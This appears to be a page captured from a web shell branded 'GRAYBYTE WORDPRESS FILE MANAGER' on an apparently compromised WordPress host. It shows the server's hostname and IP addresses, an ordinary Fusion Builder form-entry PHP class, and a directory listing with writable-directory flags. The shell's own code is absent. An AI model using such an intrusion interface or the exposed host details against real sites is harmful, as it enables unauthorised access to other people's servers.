✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.108
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/plugins/fusion-builder/inc//class-fusion-form-db-entries.php
<?php
/**
 * Form Submission Handler.
 *
 * @package fusion-builder
 * @since 3.1
 */

/**
 * Form Submission.
 *
 * @since 3.1
 */
class Fusion_Form_DB_Entries extends Fusion_Form_DB_Items {

	/**
	 * The table name.
	 *
	 * @access protected
	 * @since 3.1
	 * @var string
	 */
	protected $table_name = 'fusion_form_entries';

	/**
	 * Delete an entry.
	 *
	 * @access public
	 * @since 3.1
	 * @param int|array $ids       The submission ID(s).
	 * @param string    $id_column The column to use in our WHERE query fragment.
	 * @return void
	 */
	public function delete( $ids, $id_column = 'id' ) {
		global $wpdb;
		$db = new Fusion_Form_DB();

		$ids = (array) $ids;

		foreach ( $ids as $id ) {

			// Make sure $id is an integer.
			$id = (int) $id;

			// Check if it is an upload field and delete if so.
			$this->maybe_delete_files( $id, $id_column );

			// Delete submission.
			$db->query( $wpdb->prepare( "DELETE FROM `{$wpdb->prefix}{$this->table_name}` WHERE `{$wpdb->prefix}{$this->table_name}`.`$id_column` = %d", $id ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		}
	}

	/**
	 * Delete stored files if they exist.
	 *
	 * @access public
	 * @since 3.1
	 * @param int|array $id        The submission ID.
	 * @param string    $id_column The column to use in our WHERE query fragment.
	 * @return void
	 */
	public function maybe_delete_files( $id, $id_column = 'id' ) {
		$args                           = [];
		$args[ esc_attr( $id_column ) ] = $id;
		$entries                        = $this->get( [ 'where' => $args ] );

		if ( is_array( $entries ) && ! empty( $entries ) ) {
			$upload         = wp_upload_dir();
			$upload['path'] = $upload['basedir'] . '/fusion-forms';
			$upload['url']  = $upload['baseurl'] . '/fusion-forms';

			foreach ( $entries as $entry ) {

				// Check if it holds a file URL.
				if ( $entry && isset( $entry->value ) && false !== strpos( $entry->value, $upload['url'] ) ) {
					$values = explode( ' | ', $entry->value );

					foreach ( $values as $value ) {
						$file_path = str_replace( $upload['url'], $upload['path'], $value );

						// File exists, delete it.
						if ( file_exists( $file_path ) ) {
							wp_delete_file( $file_path );
						}
					}
				}
			}
		}
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
26 Aug 2026 4.27 AM
docteuh / users
0755
admin-screens
--
26 Aug 2026 4.27 AM
docteuh / users
0755
critical-css
--
26 Aug 2026 4.27 AM
docteuh / users
0755
helpers
--
26 Aug 2026 4.27 AM
docteuh / users
0755
i18n
--
26 Aug 2026 4.27 AM
docteuh / users
0755
importer
--
26 Aug 2026 4.27 AM
docteuh / users
0755
lib
--
26 Aug 2026 4.27 AM
docteuh / users
0755
options
--
26 Aug 2026 4.27 AM
docteuh / users
0755
templates
--
26 Aug 2026 4.27 AM
docteuh / users
0755
woocommerce
--
26 Aug 2026 4.27 AM
docteuh / users
0755
bootstrap-compat.php
1.404 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
bootstrap.php
4.005 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-access-control.php
18.099 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-clone-posts.php
6.39 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-demo-import.php
9.663 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-layout-conditions.php
8.299 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-nav-walker.php
62.024 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-off-canvas-admin.php
6.993 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-off-canvas-front-end.php
34.571 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-off-canvas-table.php
11.708 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-off-canvas.php
8.525 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-studio-admin.php
15.814 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-studio-remove.php
3.5 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-studio.php
10.903 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-woo-filters.php
20.748 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-admin.php
29.584 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-dynamic-css.php
7.231 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-element-helper.php
13.69 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-gutenberg.php
15.266 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-library-table.php
15.083 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-library.php
73.326 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-options-panel.php
6.718 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-options.php
5.465 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-redux.php
1.899 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-woocommerce.php
6.141 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-column-element.php
121.79 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-component.php
5.263 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-custom-icons-table.php
10.904 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-dummy-post.php
3.055 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-dynamic-data-callbacks.php
54.171 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-dynamic-data.php
78.321 KB
20 Nov 2023 7.14 PM
docteuh / users
0644
class-fusion-element.php
15.557 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-elements-dynamic-css.php
1.495 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-builder-table.php
14.449 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-builder.php
28.184 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-entries.php
2.205 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-fields.php
2.8 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-forms.php
7.889 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-install.php
7.239 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-items.php
4.778 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-privacy.php
15.198 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-submissions.php
1.75 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db.php
2.374 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-export-single-form.php
3.647 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-list-table.php
11.473 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-submit.php
39.319 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-widget.php
4.028 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-hubspot.php
52.925 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-languages-updater-api.php
6.472 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-mailchimp.php
36.697 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-row-element.php
6.404 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-template-builder-table.php
12.915 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-template-builder.php
106.724 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-woo-component.php
12.091 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-woo-products-component.php
24.309 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
helpers.php
97.462 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
shortcodes.php
12.617 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
templates.php
2.423 KB
20 Nov 2023 7.12 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF